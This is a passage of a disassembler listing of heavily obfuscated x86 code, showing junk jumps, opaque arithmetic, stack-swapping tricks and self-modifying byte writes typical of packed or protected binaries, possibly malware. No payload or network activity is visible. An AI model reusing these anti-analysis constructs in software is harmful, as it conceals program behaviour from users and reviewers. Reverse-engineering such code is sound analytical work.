or edi, edx
xchg ebx, [esp]
pop ebx
push 6524CE2h
pop eax
and eax, 2978D263h
jns loc_42CFBF
sub ebx, 0AE7EBA37h
jmp loc_42ED53
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42D651: ; CODE XREF: sub_42E407+2E4j
mov byte ptr [eax], 0Fh
pop eax
xor edx, eax
dec ecx
; END OF FUNCTION CHUNK FOR sub_42E407
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS KEYPAD "+" TO EXPAND]
db 0FFh
dd 4CE9FFFFh
db 0FAh, 2 dup(0FFh)
; =============== S U B R O U T I N E =======================================
sub_42D663 proc near ; CODE XREF: lsqvqpii:loc_42E08Ap
xchg ebx, [esp+0]
pop ebx
add edi, 5082D686h
lock cmp al, 24h
jmp near ptr dword_42CEA0+3
sub_42D663 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
push edx
push 80D16D38h
pop edx
add edx, 0ADAF6623h
jmp loc_42EDE1
; ---------------------------------------------------------------------------
align 4
dd 0CF8F6800h, 81E90042h, 0FFFFF5h
; ---------------------------------------------------------------------------
loc_42D694: ; CODE XREF: lsqvqpii:0042D198j
; sub_42E332+Dp
xchg esi, [esp]
pop esi
call ds:dword_4210C0 ; ExitProcess
call sub_42D1E0
; ---------------------------------------------------------------------------
db 0
dd 195E900h
db 3 dup(0)
; ---------------------------------------------------------------------------
locret_42D6AB: ; CODE XREF: lsqvqpii:0042CB9Bj
retn
; ---------------------------------------------------------------------------
loc_42D6AC: ; CODE XREF: lsqvqpii:0042E3F6j
jmp loc_42DA85
; ---------------------------------------------------------------------------
db 0E9h, 8Ch, 0F4h
dd 0FFFFh, 0FFF915E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_42D6BD: ; CODE XREF: lsqvqpii:0042D0F6j
push offset byte_42E591
jmp locret_42DD62
; ---------------------------------------------------------------------------
align 4
dd 4CE98100h, 0E849231Dh, 6D9h, 9BF38100h, 52BC40AEh, 65723D68h
dd 4BE95A89h, 0FFFFFDh, 168EE800h, 0
; ---------------------------------------------------------------------------
push offset loc_42DB0F
jmp loc_42D23C
; ---------------------------------------------------------------------------
word_42D6FA dw 9759h ; DATA XREF: sub_42D2AC+6B8o
dd 0D2092404h, 0F4A840Fh, 38680000h, 0E90042CFh, 0FFFFF6AEh
dd 2C60000h, 7F685A9Ch, 5E8817CDh, 0A8DBE681h, 0F681DD46h
dd 9F3CD0F4h, 9157EE81h, 51E9FF28h, 0Ah, 0DEE58100h, 0E9103D75h
dd 7D6h
; ---------------------------------------------------------------------------
loc_42D740: ; CODE XREF: lsqvqpii:loc_42E983j
add eax, 0C5588DB7h
jmp loc_42EB9F
; ---------------------------------------------------------------------------
align 4
dd 87241487h, 0D18B240Ch, 0E9D02959h, 0FFFFF80Eh
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42DC4F
loc_42D75D: ; CODE XREF: sub_42DC4F+D2Cj
jo loc_42CABA
add ebx, eax
and ecx, 58BF8A9Dh
jmp loc_42CE4B
; END OF FUNCTION CHUNK FOR sub_42DC4F
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
loc_42D771: ; DATA XREF: sub_42EB44-19DEo
pop edi
push offset byte_42D820
jmp locret_42DB9D
; ---------------------------------------------------------------------------
dd 0C30000h
db 0
; ---------------------------------------------------------------------------
loc_42D781: ; CODE XREF: lsqvqpii:0042CC95j
jmp loc_42CBDC
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_42D788 proc near ; CODE XREF: sub_42D52F+361p
xchg esi, [esp+0]
pop esi
push eax
push 0A6217DC7h
jmp near ptr dword_42CCEC+19h
sub_42D788 endp
; ---------------------------------------------------------------------------
align 4
loc_42D798: ; CODE XREF: lsqvqpii:0042D378j
; DATA XREF: sub_42DA05+Ao
add edx, ebp
push offset word_42E4C6
jmp locret_42E4E9
; ---------------------------------------------------------------------------
dd 860F0000h, 0FFFFF7E3h, 6E880F52h, 8BFFFFFCh, 94880FEBh
dd 3B00000Ch, 0F39FE9F9h
db 2 dup(0FFh), 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42D7C3: ; CODE XREF: sub_42E407:loc_42D1C8j
push offset byte_42E6AB
jmp nullsub_4
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
db 2 dup(0), 0Fh
dd 0FB88Dh, 0B8BE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D877
loc_42D7DA: ; CODE XREF: sub_42D877:loc_42E08Fj
pop edi
rol edi, 14h
xor edi, 0E5A1D7DCh
or edi, 65F8536Dh
add edi, 95B54EF9h
cmp eax, edi
pop edi
jmp loc_42DA23
; END OF FUNCTION CHUNK FOR sub_42D877
; ---------------------------------------------------------------------------
dd 0C2810000h, 425D4EF8h, 35AE9h
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42D806: ; CODE XREF: sub_42E407:loc_42CE96j
xchg edx, ebp
jmp loc_42CC71
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
align 2
locret_42D80E: ; CODE XREF: lsqvqpii:0042ECDFj
retn
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_42EDBB
loc_42D810: ; CODE XREF: sub_42EDBB+15j
jmp nullsub_15
; END OF FUNCTION CHUNK FOR sub_42EDBB
; ---------------------------------------------------------------------------
loc_42D815: ; CODE XREF: lsqvqpii:0042EABFj
jmp loc_42D076
; ---------------------------------------------------------------------------
jmp loc_42E1AA
; ---------------------------------------------------------------------------
align 10h
byte_42D820 db 8Bh, 45h, 0FCh ; DATA XREF: lsqvqpii:0042D772o
byte_42D823 db 8Ah ; DATA XREF: sub_42EB44-1B1Eo
dd 8B992C00h, 2AF6FC55h, 850FA43Ch, 0FFFFF79Eh, 0DE1E9h
dd 0FE7AE900h, 0C300FFFFh
db 0
; ---------------------------------------------------------------------------
loc_42D841: ; DATA XREF: sub_42DF16o
xchg edx, [esp]
xchg esi, [esp]
mov edx, esi
pop esi
mov byte ptr [ebx], 0FCh
pop ebx
push offset byte_42DB27
jmp loc_42E327
; ---------------------------------------------------------------------------
locret_42D858: ; CODE XREF: lsqvqpii:0042EC55j
retn
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42D85B: ; CODE XREF: sub_42E407+1BEj
jmp loc_42DFBE
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42CD93
loc_42D860: ; CODE XREF: sub_42CD93+EB6j
popf
loc_42D861: ; CODE XREF: sub_42CD93:loc_42E03Dj
xchg edx, [esp+0]
push offset loc_42E14E
jmp loc_42E12E
; END OF FUNCTION CHUNK FOR sub_42CD93
; ---------------------------------------------------------------------------
dw 0C300h
; ---------------------------------------------------------------------------
loc_42D870: ; CODE XREF: lsqvqpii:0042E61Aj
jmp locret_42EDD7
; ---------------------------------------------------------------------------
db 2 dup(0)
; =============== S U B R O U T I N E =======================================
sub_42D877 proc near ; CODE XREF: lsqvqpii:0042E6F1j
; sub_42E407+706p
var_3E60 = dword ptr -3E60h
var_3E34 = dword ptr -3E34h
; FUNCTION CHUNK AT 0042CC01 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0042D232 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042D49B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D53F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042D7DA SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042DA23 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042E08F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E1CC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E2F5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042E545 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0042E5A4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042EA49 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EA6D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042EA89 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042EC65 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042ECAF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042ED42 SIZE 0000000E BYTES
xchg edx, [esp+0]
pop edx
cmp al, 0A4h
jnz loc_42E2FA
jmp loc_42D49B
sub_42D877 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D52F
loc_42D88A: ; CODE XREF: sub_42D52F:loc_42DF39j
sub eax, 4B55F2CBh
call sub_42D788
; END OF FUNCTION CHUNK FOR sub_42D52F
; ---------------------------------------------------------------------------
db 2 dup(0), 0C3h
; ---------------------------------------------------------------------------
pop ebx
push edi
pushf
push 3E0F1F6h
pop edi
sub edi, 0A1E6F0FFh
jmp loc_42EB21
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42D8AE: ; DATA XREF: lsqvqpii:0042CB96o
push 42CC55h
jmp locret_42EDE0
; ---------------------------------------------------------------------------
dd 8B01C600h, 4F685759h, 0E90042ECh, 0B94h, 0FAD98C0Fh
db 2 dup(0FFh), 0
; ---------------------------------------------------------------------------
loc_42D8CF: ; CODE XREF: lsqvqpii:0042E20Ej
jmp loc_42E01D
; ---------------------------------------------------------------------------
dd 0C2815B00h, 0F7964B0Bh, 0FFFAC6E9h, 810000FFh, 0D198DDD2h
dd 824E97Dh, 0C3000000h, 0C4DE8100h, 0E974FBB5h, 0FFFFF673h
dd 0E90689C3h, 0CDAh
; ---------------------------------------------------------------------------
loc_42D904: ; CODE XREF: lsqvqpii:loc_42D61Bj
mov byte ptr [edx], 3
pop edx
mov ebx, offset locret_42E0E5
jmp loc_42EDAF
; ---------------------------------------------------------------------------
dw 5200h
; ---------------------------------------------------------------------------
push 91C4A1B8h
pop edx
add edx, 772F9A77h
jmp loc_42E29F
; ---------------------------------------------------------------------------
align 2
loc_42D926: ; CODE XREF: lsqvqpii:loc_42EBB7j
and ebx, 0F58CB71Ah
xor ebx, 445A0906h
push edi
mov edi, offset loc_42E33C
jmp loc_42CD54
; ---------------------------------------------------------------------------
db 2 dup(0), 81h
dd 0C3A8F8DEh, 6C1E9DDh, 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42D94C: ; CODE XREF: sub_42E407:loc_42D611j
mov byte ptr [esi], 8Bh
pop esi
loc_42D950: ; CODE XREF: lsqvqpii:loc_42DAB4j
xor esi, 9E8234D0h
jmp loc_42DBA5
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
align 4
; START OF FUNCTION CHUNK FOR sub_42D2AC
loc_42D95C: ; CODE XREF: sub_42D2AC:loc_42E4F3j
add ecx, 9A7EF79Ah
add eax, ecx
push offset word_42D6FA
jmp nullsub_23
; END OF FUNCTION CHUNK FOR sub_42D2AC
; ---------------------------------------------------------------------------
loc_42D96E: ; CODE XREF: lsqvqpii:loc_42E9EAj
; DATA XREF: sub_42E9E0o
xchg ebx, [esp]
xchg eax, [esp]
mov ebx, eax
pop eax
jmp near ptr loc_42ED4C+1
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42D97E: ; CODE XREF: sub_42E407-8B6j
mov byte ptr [edx], 8Bh
pop edx
call sub_42D338
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
db 0
dd 5D4C6800h, 815AD29Bh, 2EB7CEEAh, 0BDF281CCh, 81AB29DEh
dd 0E03DC9CAh, 0D7FA6894h, 0F3E90042h
db 1, 2 dup(0)
; ---------------------------------------------------------------------------
locret_42D9AB: ; CODE XREF: lsqvqpii:0042CECCj
retn
; ---------------------------------------------------------------------------
mov byte ptr [ebx], 87h
xchg eax, [esp]
mov ebx, eax
pop eax
mov ecx, ebp
pop ebp
xchg edx, [esp]
jmp loc_42EB2D
; ---------------------------------------------------------------------------
db 0
byte_42D9C1 db 68h, 0Eh, 0CEh ; DATA XREF: lsqvqpii:0042E810o
dd 42E90042h, 0FFFFF4h, 0BAE9FD1Bh, 2, 65E95E00h, 0FFFFF6h
dd 4FE9FA85h, 0FFFFF9h
; ---------------------------------------------------------------------------
locret_42D9E4: ; CODE XREF: lsqvqpii:0042EDF2j
retn
; ---------------------------------------------------------------------------
db 2 dup(0), 0E9h
dd 0E2Fh, 895E9h, 24148700h, 8B242C87h, 714E8D5h, 12E90000h
dd 8
db 0
; =============== S U B R O U T I N E =======================================
sub_42DA05 proc near ; CODE XREF: lsqvqpii:0042D3C6j
xchg edi, [esp+0]
pop edi
xor edx, 0C9C4DC56h
push offset loc_42D798
jmp near ptr dword_42CCEC+12h
sub_42DA05 endp
; ---------------------------------------------------------------------------
db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS KEYPAD "+" TO EXPAND]
dd 0D7E90000h
db 12h, 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D877
loc_42DA23: ; CODE XREF: sub_42D877-84j
jge loc_42EA89
; END OF FUNCTION CHUNK FOR sub_42D877
; ---------------------------------------------------------------------------
db 2 dup(0), 0Fh
dd 0FFF12487h, 1051E9FFh, 0C6000000h, 3C87F606h, 5FF78B24h
; CODE XREF: lsqvqpii:loc_42ED14j
dd 42ED9268h, 0F056E900h, 8B00FFFFh, 0C5685110h, 0E90042EBh
dd 0FFBh, 7BD1C081h, 5152D55Bh, 42CF95B9h, 0FC1FE900h
dd 8700FFFFh, 68582404h, 0A6E60B6Fh, 43E08158h, 0C1DBE7C5h
dd 79E905C0h, 3
db 0
; ---------------------------------------------------------------------------
loc_42DA85: ; CODE XREF: lsqvqpii:loc_42D6ACj
jz loc_42E244
add [eax+0Bh], bl
call near ptr 0E95BC454h
lodsd
pop es
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
pop eax
add eax, 33C793B1h
rol eax, 3
and eax, 71E8FD62h
xor eax, 0A75D9DC2h
jmp loc_42E6B4
; ---------------------------------------------------------------------------
align 4
loc_42DAB4: ; CODE XREF: lsqvqpii:0042E87Aj
jbe loc_42D950
xchg ebx, edx
jmp loc_42E3B1
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42DC4F
loc_42DAC3: ; CODE XREF: sub_42DC4F-DF1j
push edi
pushf
push offset dword_42E844
jmp loc_42CB07
; END OF FUNCTION CHUNK FOR sub_42DC4F
; ---------------------------------------------------------------------------
align 10h
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E2D3
loc_42DAD1: ; CODE XREF: sub_42E2D3+Dj
xchg edi, [esp+0]
call eax
jmp loc_42E9D3
; END OF FUNCTION CHUNK FOR sub_42E2D3
; ---------------------------------------------------------------------------
align 4
dd 0F25AE800h
db 2 dup(0FFh), 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E332
loc_42DAE3: ; CODE XREF: sub_42E332+2Ej
xchg edi, [esp+0]
push edx
pop ecx
imul edi, dword ptr ds:loc_42EB9D[eax], -17h
call far ptr 0C281h:4 ; CODE XREF: sub_42D1E0+1741j
; END OF FUNCTION CHUNK FOR sub_42E332
; ---------------------------------------------------------------------------
dw 0D68Fh
; ---------------------------------------------------------------------------
and cl, [eax]
push esi
mov esi, ecx
xchg esi, [esp]
mov ecx, offset loc_42E0B3
jmp loc_42E0AC
; ---------------------------------------------------------------------------
align 4
locret_42DB0C: ; CODE XREF: lsqvqpii:loc_42D23Cj
retn
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42DB0F: ; DATA XREF: lsqvqpii:0042D6F0o
push 89FF32E4h
jmp loc_42E229
; ---------------------------------------------------------------------------
db 2 dup(0), 56h
; ---------------------------------------------------------------------------
mov esi, ecx
xchg esi, [esp]
jmp loc_42D616
; ---------------------------------------------------------------------------
db 0
byte_42DB27 db 0E8h ; DATA XREF: lsqvqpii:0042D84Eo
; ---------------------------------------------------------------------------
sahf
add eax, 0
push edi
push 42D913h
jmp loc_42DDEE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42DB39: ; CODE XREF: sub_42E407:loc_42DDA2j
rol edx, 1Fh
or edx, 0F98EA03Ch
rol edx, 9
xor edx, 5AAF4919h
add edx, 184615FBh
jmp loc_42D97E
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D010
loc_42DB56: ; CODE XREF: sub_42D010-54Ej
pop edx
loc_42DB57: ; DATA XREF: sub_42D010+5o
xchg eax, [esp-8+arg_4]
loc_42DB5A: ; CODE XREF: sub_42DC4F:loc_42DFF4j
push eax
pop ebp
pop eax
retn
; END OF FUNCTION CHUNK FOR sub_42D010
; ---------------------------------------------------------------------------
dw 0E900h
dd 3E7h
; ---------------------------------------------------------------------------
loc_42DB64: ; CODE XREF: lsqvqpii:loc_42E30Aj
push 548F764Fh
jmp loc_42EA5A
; ---------------------------------------------------------------------------
dw 8100h
; ---------------------------------------------------------------------------
retf 15CCh
; ---------------------------------------------------------------------------
db 78h
dd 15C2C1C5h, 35D1C281h, 319DF614h, 90E9E2C0h, 10h
db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS KEYPAD "+" TO EXPAND]
align 4
loc_42DB8C: ; CODE XREF: lsqvqpii:0042E731j
jmp loc_42E9EA
; ---------------------------------------------------------------------------
align 2
; =============== S U B R O U T I N E =======================================
sub_42DB92 proc near ; CODE XREF: sub_42DD3F:loc_42CBC8j
; sub_42CEFC+9j ...
push offset byte_42D429
jmp nullsub_19
sub_42DB92 endp
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
locret_42DB9D: ; CODE XREF: lsqvqpii:0042D777j
retn
; ---------------------------------------------------------------------------
jmp loc_42EBB5
; ---------------------------------------------------------------------------
align 4
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42DBA5: ; CODE XREF: sub_42E407-AB1j
jmp loc_42D3E2
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
dw 8B00h
dd 93E90045h, 8
; ---------------------------------------------------------------------------
loc_42DBB4: ; CODE XREF: lsqvqpii:0042EA80j
jnz loc_42E08A
test eax, ebp
jmp loc_42E076
; ---------------------------------------------------------------------------
align 2
; START OF FUNCTION CHUNK FOR sub_42EB44
loc_42DBC2: ; CODE XREF: sub_42EB44:loc_42CCC9j
mov edi, offset loc_42D164
jmp loc_42CE7D
; END OF FUNCTION CHUNK FOR sub_42EB44
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D080
loc_42DBCE: ; CODE XREF: sub_42D080:loc_42E6CAj
mov byte ptr [ebx], 87h
pop ebx
xor eax, 2DD57D4Bh
add eax, ebp
add eax, 15709024h
mov eax, [eax]
jmp loc_42CDE4
; END OF FUNCTION CHUNK FOR sub_42D080
; ---------------------------------------------------------------------------
align 4
retn
; ---------------------------------------------------------------------------
align 2
jmp locret_42ED0D
; ---------------------------------------------------------------------------
align 10h
loc_42DBF0: ; CODE XREF: lsqvqpii:loc_42D324j
mov byte ptr [eax], 8Bh
pop eax
push ebp
loc_42DBF5: ; DATA XREF: lsqvqpii:0042CD41o
db 67h
in al, dx
push offset sub_42EC30
jmp loc_42D006
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D2AC
loc_42DC03: ; CODE XREF: sub_42D2AC+1830j
mov byte ptr [edi], 87h
pop edi
and ecx, 0D30A090Fh
or ecx, 6D8D8FFAh
and ecx, 75C1486Ah
jmp loc_42E4F3
; END OF FUNCTION CHUNK FOR sub_42D2AC
; ---------------------------------------------------------------------------
dw 0F700h
dd 1BF881D0h, 0E9298BFAh, 0FFFFF74Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42DC2E: ; CODE XREF: sub_42E407:loc_42E908j
jz loc_42E9F5
jmp loc_42E903
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
align 2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS KEYPAD "+" TO EXPAND]
align 2
shl ebx, 11h
jmp sub_42D2AC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42CD93
loc_42DC46: ; CODE XREF: sub_42CD93+12B0j
shr edi, 0Bh
jmp loc_42D860
; END OF FUNCTION CHUNK FOR sub_42CD93
; ---------------------------------------------------------------------------
db 0
; =============== S U B R O U T I N E =======================================
sub_42DC4F proc near ; CODE XREF: sub_42D877+14D0p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0042CB07 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CE4B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042D0BF SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042D75D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042DAC3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042DF3F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042DFF4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042E3AA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E67D SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042E966 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042EB9D SIZE 00000007 BYTES
xchg edi, [esp+0]
xchg ebp, [esp+0]
mov edi, ebp
pop ebp
pushf
push 498BEC34h
pop ecx
add ecx, 555D0EEh
jmp loc_42E67D
sub_42DC4F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 0F700h
; ---------------------------------------------------------------------------
retn 0
; ---------------------------------------------------------------------------
align 10h
dd 0DBAE920h, 0E5810000h, 74887E1Eh, 5B241C87h, 0E632B850h
dd 3EE90042h, 0Dh, 87860F00h, 87FFFFF8h, 8B5E2434h, 8AFC45h
dd 1A68992Ch, 0E90042EDh, 0FFFFFF42h
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42EC73
loc_42DCA9: ; CODE XREF: sub_42EC73+8j
pop ecx
push edx
mov edx, offset loc_42D520
jmp loc_42E479
; END OF FUNCTION CHUNK FOR sub_42EC73
; ---------------------------------------------------------------------------
db 2 dup(0), 8Bh
dd 0F18B56ECh
; ---------------------------------------------------------------------------
loc_42DCBC: ; DATA XREF: sub_42E407:loc_42D3E2o
xchg esi, [esp]
push edx
jmp loc_42EE12
; =============== S U B R O U T I N E =======================================
sub_42DCC5 proc near ; CODE XREF: sub_42EDBB-1E1Ap
xchg eax, [esp+0]
pop eax
call sub_42EFA1
loc_42DCCE: ; DATA XREF: sub_42EDBB:loc_42E722o
nop
call sub_42EE3C
mov ds:byte_42DDCD, 0Fh
mov ds:byte_42DE10, 0Fh
retn
sub_42DCC5 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
align 2
loc_42DCE6: ; CODE XREF: lsqvqpii:0042E86Dj
jmp locret_42E182
; ---------------------------------------------------------------------------
align 4
jmp loc_42E6BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42DCF1: ; CODE XREF: sub_42E407:loc_42E4B5j
sub edx, 0F0C99E20h
rol edx, 1Dh
xor edx, 0DEAB2007h
jnz loc_42E2C7
add [ebx-0CDB16E8h], cl
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
dd 0FFFFh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E930
loc_42DD10: ; CODE XREF: sub_42E930+18j
add ecx, 716EB2D9h
xchg ecx, [esp+0]
jmp loc_42CBC8
; END OF FUNCTION CHUNK FOR sub_42E930
; ---------------------------------------------------------------------------
dw 0E800h
dd 0D00h, 0DE02B850h, 3DE90042h, 4, 7FA8100h, 0E997A1E9h
dd 0FFFFFA6Ah
db 0, 33h, 0EAh
; =============== S U B R O U T I N E =======================================
sub_42DD3F proc near ; CODE XREF: lsqvqpii:loc_42CD11p
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0042CBC2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042CE22 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0042CEF7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CF1C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042D3CB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042E176 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E292 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E30F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042E8C2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EAE8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EC48 SIZE 00000005 BYTES
xchg ebx, [esp+0]
pop ebx
push eax
mov eax, offset loc_42E316
jmp loc_42CEF7
sub_42DD3F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
loc_42DD50: ; CODE XREF: lsqvqpii:0042CFB4j
mov ebp, 1BFA93DAh
push ebx
push 6F588FD8h
pop ebx
jmp loc_42EBB7
; ---------------------------------------------------------------------------
align 2
locret_42DD62: ; CODE XREF: lsqvqpii:0042D6C2j
retn
; ---------------------------------------------------------------------------
align 4
db 0, 0C3h, 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42DD67: ; CODE XREF: sub_42E407-443j
jmp loc_42E105
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
dd 57C28100h, 8BA9E4BCh, 0E92AF612h, 0FFFFEFE9h, 0C35800h
dd 42EFA7h, 0
dd 116h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D080
loc_42DD8C: ; CODE XREF: sub_42D080+19j
jmp loc_42E5AA
; END OF FUNCTION CHUNK FOR sub_42D080
; ---------------------------------------------------------------------------
align 2
dw 32E9h
dd 0FFFFF7h, 65831DB3h, 0EDE2E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42DDA2: ; CODE XREF: sub_42E407-1096j
jmp loc_42DB39
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
align 4
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42DDA8: ; CODE XREF: sub_42E407-12D3j
jmp loc_42CED3
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
db 87h, 3Ch, 24h
dd 0DA8B535Fh, 0BA241C87h, 42EBF5h, 0FFFFDCE9h
db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_42DDC3: ; CODE XREF: lsqvqpii:loc_42EB2Dj
push edx
pop ebp
pop edx
retn
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFFEE4Dh
db 0
byte_42DDCD db 0Fh ; DATA XREF: sub_42DCC5+Fw
; lsqvqpii:0042E3D2o
dw 4884h
dd 0E9FFFFFDh, 0C15h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42DDDB: ; CODE XREF: lsqvqpii:0042D4DFj
jmp loc_42D0DF
; ---------------------------------------------------------------------------
dd 0ACC5F700h, 0E979959Bh, 34Fh
db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_42DDEE: ; CODE XREF: lsqvqpii:0042DB34j
jmp locret_42D5CC
; ---------------------------------------------------------------------------
align 4
dd 0E9288900h, 9E6h, 0D790C081h, 0C009A33Fh, 7EE840Fh
dd 28E90000h, 0FFFFF4h
byte_42DE10 db 0Fh ; DATA XREF: sub_42DCC5+16w
; sub_42E365+Do ...
db 89h, 0Ah, 0F4h
dd 820FFFFFh, 0FFFFFCC1h, 87D98B53h, 0CD8B241Ch, 0E9FE8B57h
dd 16Ch
db 0
byte_42DE2D db 0Fh, 82h, 0AAh ; DATA XREF: lsqvqpii:0042D220o
dd 52FFFFFCh, 1487D58Bh, 0FE3EE824h, 0C300FFFFh, 70E90000h
dd 0E9FFFFFEh, 0FFFFFAA3h, 0C6C10000h, 0FB86E910h, 5E00FFFFh
dd 5AAE9h, 14870000h, 6B516824h, 1487B8E4h, 0E9F28B24h
dd 0FFFFFE7Ch, 0FD030000h, 38106852h, 815AAAAFh, 6A4F6DCAh
dd 41C28175h, 81B2EA4Bh, 74C14DE2h, 14BE9E7h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42DE92: ; CODE XREF: lsqvqpii:loc_42EE12j
